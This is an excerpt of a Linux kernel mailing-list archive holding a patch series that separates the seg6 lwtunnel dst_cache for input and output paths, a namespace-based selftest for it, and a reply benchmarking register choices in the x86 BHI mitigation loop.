Fixes: 6c8702c60b88 ("ipv6: sr: add support for SRH encapsulation and injection with lwtunnels")
Cc: stable@vger.kernel.org
Signed-off-by: Andrea Mayer <andrea.mayer@uniroma2.it>
Reviewed-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
---
net/ipv6/seg6_iptunnel.c | 34 +++++++++++++++++++++++-----------
1 file changed, 23 insertions(+), 11 deletions(-)
diff --git a/net/ipv6/seg6_iptunnel.c b/net/ipv6/seg6_iptunnel.c
index 3e1b9991131a..d6a0f7df9080 100644
--- a/net/ipv6/seg6_iptunnel.c
+++ b/net/ipv6/seg6_iptunnel.c
@@ -48,7 +48,8 @@ static size_t seg6_lwt_headroom(struct seg6_iptunnel_encap *tuninfo)
}
struct seg6_lwt {
- struct dst_cache cache;
+ struct dst_cache cache_input;
+ struct dst_cache cache_output;
struct seg6_iptunnel_encap tuninfo[];
};
@@ -488,7 +489,7 @@ static int seg6_input_core(struct net *net, struct sock *sk,
slwt = seg6_lwt_lwtunnel(lwtst);
local_bh_disable();
- dst = dst_cache_get(&slwt->cache);
+ dst = dst_cache_get(&slwt->cache_input);
local_bh_enable();
err = seg6_do_srh(skb, dst);
@@ -504,7 +505,7 @@ static int seg6_input_core(struct net *net, struct sock *sk,
/* cache only if we don't create a dst reference loop */
if (!dst->error && lwtst != dst->lwtstate) {
local_bh_disable();
- dst_cache_set_ip6(&slwt->cache, dst,
+ dst_cache_set_ip6(&slwt->cache_input, dst,
&ipv6_hdr(skb)->saddr);
local_bh_enable();
}
@@ -564,7 +565,7 @@ static int seg6_output_core(struct net *net, struct sock *sk,
slwt = seg6_lwt_lwtunnel(orig_dst->lwtstate);
local_bh_disable();
- dst = dst_cache_get(&slwt->cache);
+ dst = dst_cache_get(&slwt->cache_output);
local_bh_enable();
err = seg6_do_srh(skb, dst);
@@ -591,7 +592,7 @@ static int seg6_output_core(struct net *net, struct sock *sk,
/* cache only if we don't create a dst reference loop */
if (orig_dst->lwtstate != dst->lwtstate) {
local_bh_disable();
- dst_cache_set_ip6(&slwt->cache, dst, &fl6.saddr);
+ dst_cache_set_ip6(&slwt->cache_output, dst, &fl6.saddr);
local_bh_enable();
}
@@ -701,11 +702,13 @@ static int seg6_build_state(struct net *net, struct nlattr *nla,
slwt = seg6_lwt_lwtunnel(newts);
- err = dst_cache_init(&slwt->cache, GFP_ATOMIC);
- if (err) {
- kfree(newts);
- return err;
- }
+ err = dst_cache_init(&slwt->cache_input, GFP_ATOMIC);
+ if (err)
+ goto err_free_newts;
+
+ err = dst_cache_init(&slwt->cache_output, GFP_ATOMIC);
+ if (err)
+ goto err_destroy_input;
memcpy(&slwt->tuninfo, tuninfo, tuninfo_len);
@@ -720,11 +723,20 @@ static int seg6_build_state(struct net *net, struct nlattr *nla,
*ts = newts;
return 0;
+
+err_destroy_input:
+ dst_cache_destroy(&slwt->cache_input);
+err_free_newts:
+ kfree(newts);
+ return err;
}
static void seg6_destroy_state(struct lwtunnel_state *lwt)
{
- dst_cache_destroy(&seg6_lwt_lwtunnel(lwt)->cache);
+ struct seg6_lwt *slwt = seg6_lwt_lwtunnel(lwt);
+
+ dst_cache_destroy(&slwt->cache_input);
+ dst_cache_destroy(&slwt->cache_output);
}
static int seg6_fill_encap_info(struct sk_buff *skb,
--
2.43.0
^ permalink raw reply related
* [PATCH net v2 2/2] selftests: seg6: add test for dst_cache isolation in seg6 lwtunnel
From: Andrea Mayer @ 2026-04-01 18:57 UTC (permalink / raw)
To: netdev
Cc: davem, edumazet, kuba, pabeni, horms, dsahern, david.lebrun,
stefano.salsano, paolo.lungaroni, nicolas.dichtel, linux-kernel,
Andrea Mayer, Shuah Khan, linux-kselftest
In-Reply-To: <20260401185755.29813-1-andrea.mayer@uniroma2.it>
Add a selftest that verifies the dst_cache in seg6 lwtunnel is not
shared between the input (forwarding) and output (locally generated)
paths.
The test creates three namespaces (ns_src, ns_router, ns_dst)
connected in a line. An SRv6 encap route on ns_router encapsulates
traffic destined to cafe::1 with SID fc00::100. The SID is
reachable only for forwarded traffic (from ns_src) via an ip rule
matching the ingress interface (iif veth-r0 lookup 100), and
blackholed in the main table.
The test verifies that:
1. A packet generated locally on ns_router does not reach
ns_dst with an empty cache, since the SID is blackholed;
2. A forwarded packet from ns_src populates the input cache
from table 100 and reaches ns_dst;
3. A packet generated locally on ns_router still does not
reach ns_dst after the input cache is populated,
confirming the output path does not reuse the input
cache entry.
Both the forwarded and local packets are pinned to the same CPU
with taskset, since dst_cache is per-cpu.
Cc: Shuah Khan <shuah@kernel.org>
Cc: linux-kselftest@vger.kernel.org
Signed-off-by: Andrea Mayer <andrea.mayer@uniroma2.it>
Reviewed-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
---
Changes v1 -> v2:
- fix SKIP message wording (Nicolas)
---
tools/testing/selftests/net/Makefile | 1 +
.../selftests/net/srv6_iptunnel_cache.sh | 177 ++++++++++++++++++
2 files changed, 178 insertions(+)
create mode 100755 tools/testing/selftests/net/srv6_iptunnel_cache.sh
diff --git a/tools/testing/selftests/net/Makefile b/tools/testing/selftests/net/Makefile
index 605c54c0e8a3..c709523c99c6 100644
--- a/tools/testing/selftests/net/Makefile
+++ b/tools/testing/selftests/net/Makefile
@@ -89,6 +89,7 @@ TEST_PROGS := \
srv6_end_x_next_csid_l3vpn_test.sh \
srv6_hencap_red_l3vpn_test.sh \
srv6_hl2encap_red_l2vpn_test.sh \
+ srv6_iptunnel_cache.sh \
stress_reuseport_listen.sh \
tcp_fastopen_backup_key.sh \
test_bpf.sh \
diff --git a/tools/testing/selftests/net/srv6_iptunnel_cache.sh b/tools/testing/selftests/net/srv6_iptunnel_cache.sh
new file mode 100755
index 000000000000..1f3ebb930eb2
--- /dev/null
+++ b/tools/testing/selftests/net/srv6_iptunnel_cache.sh
@@ -0,0 +1,177 @@
+#!/bin/bash
+# SPDX-License-Identifier: GPL-2.0
+#
+# author: Andrea Mayer <andrea.mayer@uniroma2.it>
+
+# This test verifies that the seg6 lwtunnel does not share the dst_cache
+# between the input (forwarding) and output (locally generated) paths.
+#
+# A shared dst_cache allows a forwarded packet to populate the cache and a
+# subsequent locally generated packet to silently reuse that entry, bypassing
+# its own route lookup. To expose this, the SID is made reachable only for
+# forwarded traffic (via an ip rule matching iif) and blackholed for everything
+# else. A local ping on ns_router must always hit the blackhole;
+# if it succeeds after a forwarded packet has populated the
+# cache, the bug is confirmed.
+#
+# Both forwarded and local packets are pinned to the same CPU with taskset,
+# since dst_cache is per-cpu.
+#
+#
+# +--------------------+ +--------------------+
+# | ns_src | | ns_dst |
+# | | | |
+# | veth-s0 | | veth-d0 |
+# | fd00::1/64 | | fd01::2/64 |
+# +-------|------------+ +----------|---------+
+# | |
+# | +--------------------+ |
+# | | ns_router | |
+# | | | |
+# +----------->+ veth-r0 veth-r1 +<-------------+
+# | fd00::2 fd01::1 |
+# +--------------------+
+#
+#
+# ns_router: encap (main table)
+# +---------+---------------------------------------+
+# | dst | action |
+# +---------+---------------------------------------+
+# | cafe::1 | encap seg6 mode encap segs fc00::100 |
+# +---------+---------------------------------------+
+#
+# ns_router: post-encap SID resolution
+# +-------+------------+----------------------------+
+# | table | dst | action |
+# +-------+------------+----------------------------+
+# | 100 | fc00::100 | via fd01::2 dev veth-r1 |
+# +-------+------------+----------------------------+
+# | main | fc00::100 | blackhole |
+# +-------+------------+----------------------------+
+#
+# ns_router: ip rule
+# +------------------+------------------------------+
+# | match | action |
+# +------------------+------------------------------+
+# | iif veth-r0 | lookup 100 |
+# +------------------+------------------------------+
+#
+# ns_dst: SRv6 decap (main table)
+# +--------------+----------------------------------+
+# | SID | action |
+# +--------------+----------------------------------+
+# | fc00::100 | End.DT6 table 255 (local) |
+# +--------------+----------------------------------+
+
+source lib.sh
+
+readonly SID="fc00::100"
+readonly DEST="cafe::1"
+
+readonly SRC_MAC="02:00:00:00:00:01"
+readonly RTR_R0_MAC="02:00:00:00:00:02"
+readonly RTR_R1_MAC="02:00:00:00:00:03"
+readonly DST_MAC="02:00:00:00:00:04"
+
+cleanup()
+{
+ cleanup_ns "${NS_SRC}" "${NS_RTR}" "${NS_DST}"
+}
+
+check_prerequisites()
+{
+ if ! command -v taskset &>/dev/null; then
+ echo "SKIP: taskset not found"
+ exit "${ksft_skip}"
+ fi
+}
+
+setup()
+{
+ setup_ns NS_SRC NS_RTR NS_DST
+
+ ip link add veth-s0 netns "${NS_SRC}" type veth \
+ peer name veth-r0 netns "${NS_RTR}"
+ ip link add veth-r1 netns "${NS_RTR}" type veth \
+ peer name veth-d0 netns "${NS_DST}"
+
+ ip -n "${NS_SRC}" link set veth-s0 address "${SRC_MAC}"
+ ip -n "${NS_RTR}" link set veth-r0 address "${RTR_R0_MAC}"
+ ip -n "${NS_RTR}" link set veth-r1 address "${RTR_R1_MAC}"
+ ip -n "${NS_DST}" link set veth-d0 address "${DST_MAC}"
+
+ # ns_src
+ ip -n "${NS_SRC}" link set veth-s0 up
+ ip -n "${NS_SRC}" addr add fd00::1/64 dev veth-s0 nodad
+ ip -n "${NS_SRC}" -6 route add "${DEST}"/128 via fd00::2
+
+ # ns_router
+ ip -n "${NS_RTR}" link set veth-r0 up
+ ip -n "${NS_RTR}" addr add fd00::2/64 dev veth-r0 nodad
+ ip -n "${NS_RTR}" link set veth-r1 up
+ ip -n "${NS_RTR}" addr add fd01::1/64 dev veth-r1 nodad
+ ip netns exec "${NS_RTR}" sysctl -qw net.ipv6.conf.all.forwarding=1
+
+ ip -n "${NS_RTR}" -6 route add "${DEST}"/128 \
+ encap seg6 mode encap segs "${SID}" dev veth-r0
+ ip -n "${NS_RTR}" -6 route add "${SID}"/128 table 100 \
+ via fd01::2 dev veth-r1
+ ip -n "${NS_RTR}" -6 route add blackhole "${SID}"/128
+ ip -n "${NS_RTR}" -6 rule add iif veth-r0 lookup 100
+
+ # ns_dst
+ ip -n "${NS_DST}" link set veth-d0 up
+ ip -n "${NS_DST}" addr add fd01::2/64 dev veth-d0 nodad
+ ip -n "${NS_DST}" addr add "${DEST}"/128 dev lo nodad
+ ip -n "${NS_DST}" -6 route add "${SID}"/128 \
+ encap seg6local action End.DT6 table 255 dev veth-d0
+ ip -n "${NS_DST}" -6 route add fd00::/64 via fd01::1
+
+ # static neighbors
+ ip -n "${NS_SRC}" -6 neigh add fd00::2 dev veth-s0 \
+ lladdr "${RTR_R0_MAC}" nud permanent
+ ip -n "${NS_RTR}" -6 neigh add fd00::1 dev veth-r0 \
+ lladdr "${SRC_MAC}" nud permanent
+ ip -n "${NS_RTR}" -6 neigh add fd01::2 dev veth-r1 \
+ lladdr "${DST_MAC}" nud permanent
+ ip -n "${NS_DST}" -6 neigh add fd01::1 dev veth-d0 \
+ lladdr "${RTR_R1_MAC}" nud permanent
+}
+
+test_cache_isolation()
+{
+ RET=0
+
+ # local ping with empty cache: must fail (SID is blackholed)
+ if ip netns exec "${NS_RTR}" taskset -c 0 \
+ ping6 -c 1 -W 2 "${DEST}" &>/dev/null; then
+ echo "SKIP: local ping succeeded, topology broken"
+ exit "${ksft_skip}"
+ fi
+
+ # forward from ns_src to populate the input cache
+ if ! ip netns exec "${NS_SRC}" taskset -c 0 \
+ ping6 -c 1 -W 2 "${DEST}" &>/dev/null; then
+ echo "SKIP: forwarded ping failed, topology broken"
+ exit "${ksft_skip}"
+ fi
+
+ # local ping again: must still fail; if the output path reuses
+ # the input cache, it bypasses the blackhole and the ping succeeds
+ if ip netns exec "${NS_RTR}" taskset -c 0 \
+ ping6 -c 1 -W 2 "${DEST}" &>/dev/null; then
+ echo "FAIL: output path used dst cached by input path"
+ RET="${ksft_fail}"
+ else
+ echo "PASS: output path dst_cache is independent"
+ fi
+
+ return "${RET}"
+}
+
+trap cleanup EXIT
+
+check_prerequisites
+setup
+test_cache_isolation
+exit "${RET}"
--
2.43.0
^ permalink raw reply related
* [PATCH net v2 0/2] seg6: fix dst_cache sharing in seg6 lwtunnel
From: Andrea Mayer @ 2026-04-01 18:57 UTC (permalink / raw)
To: netdev
Cc: davem, edumazet, kuba, pabeni, horms, dsahern, david.lebrun,
stefano.salsano, paolo.lungaroni, nicolas.dichtel, linux-kernel,
Andrea Mayer
The seg6 lwtunnel encap uses a single per-route dst_cache shared
between seg6_input_core() and seg6_output_core(). These two paths
can perform the post-encap SID lookup in different routing contexts
(e.g., ip rules matching on the ingress interface, or VRF table
separation). Whichever path runs first populates the cache, and the
other reuses it blindly, bypassing its own lookup.
Patch 1 fixes this by splitting the cache into cache_input and
cache_output. Patch 2 adds a selftest that validates the isolation.
Changes v1 -> v2:
- Patch 2: fix SKIP message wording (Nicolas)
Andrea Mayer (2):
seg6: separate dst_cache for input and output paths in seg6 lwtunnel
selftests: seg6: add test for dst_cache isolation in seg6 lwtunnel
net/ipv6/seg6_iptunnel.c | 34 ++--
tools/testing/selftests/net/Makefile | 1 +
.../selftests/net/srv6_iptunnel_cache.sh | 177 ++++++++++++++++++
3 files changed, 201 insertions(+), 11 deletions(-)
create mode 100755 tools/testing/selftests/net/srv6_iptunnel_cache.sh
--
2.43.0
^ permalink raw reply
* Re: [PATCH v8 02/10] x86/bhi: Make clear_bhb_loop() effective on newer CPUs
From: Pawan Gupta @ 2026-04-01 18:52 UTC (permalink / raw)
To: David Laight
Cc: Borislav Petkov, x86, Jon Kohler, Nikolay Borisov, H. Peter Anvin,
Josh Poimboeuf, David Kaplan, Sean Christopherson, Dave Hansen,
Peter Zijlstra, Alexei Starovoitov, Daniel Borkmann,
Andrii Nakryiko, KP Singh, Jiri Olsa, David S. Miller,
Andy Lutomirski, Thomas Gleixner, Ingo Molnar, David Ahern,
Martin KaFai Lau, Eduard Zingerman, Song Liu, Yonghong Song,
John Fastabend, Stanislav Fomichev, Hao Luo, Paolo Bonzini,
Jonathan Corbet, linux-kernel, kvm, Asit Mallick, Tao Zhang, bpf,
netdev, linux-doc
In-Reply-To: <20260401100200.5b347628@pumpkin>
On Wed, Apr 01, 2026 at 10:02:00AM +0100, David Laight wrote:
> > > As well as swapping %al <-> %ah try changing the outer loop decrement to
> > > sub $0x100, %ax
> > > since %al is zero that will set the z flag the same.
> >
> > Unfortunately, using "sub $0x100, %ax"(with %al as inner loop) isn't better
> > than just using "sub $1, %ah" in the outer loop:
> >
> > Event %al inner + sub %ax Delta
> > ---------------------- ------------- ------------- ----------
> > cycles 776,775,020 813,372,036 +4.7%
> > instructions/cycle 1.23 1.17 -4.5%
> > branch-misses 4,792,502 7,610,323 +58.8%
> > uops_issued.any 768,019,010 827,465,137 +7.7%
> > time elapsed 0.1627s 0.1707s +4.9%
>
> That is even more interesting.
> The 'sub %ax' version has more uops and more branch-misses.
> Looks like the extra cost of the %ah access is less than the cost
> of the extra mis-predicted branches.
>
> Makes me wonder where a version that uses %cl fits?
> (Or use a zero-extending read and %eax/%ecx - likely to be the same.)
> I'll bet 'one beer' that is nearest the 'sub %ax' version.
%cl didn't make a noticeable difference, but ...
Event %al/%ah %al/%cl Delta
(inner/outer) (inner/outer)
---------------------- ------------- ------------- ----------
cycles 776,380,149 778,294,183 +0.2%
instructions/cycle 1.23 1.22 -0.4%
branch-misses 4,986,437 5,679,599 +13.9%
uops_issued.any 773,223,387 765,724,878 -1.0%
time elapsed 0.1631s 0.1637s +0.4%
... there are meaningful gains with 32-bit registers:
Event %al/%ah %eax/%ecx Delta
(inner/outer) (inner/outer)
---------------------- ------------- ------------- ----------
cycles 776,380,149 706,331,177 -9.0%
instructions/cycle 1.23 1.35 +9.9%
branch-misses 4,986,437 6,089,306 +22.1%
uops_issued.any 773,223,387 774,539,522 +0.2%
time elapsed 0.1631s 0.1482s -9.1%
These values are for userspace tests with immediates. Next, I will test how
they perform with memory loads in kernel. Before we finalize these uarch
nuances needs to be tested on a variety of CPUs.
^ permalink raw reply
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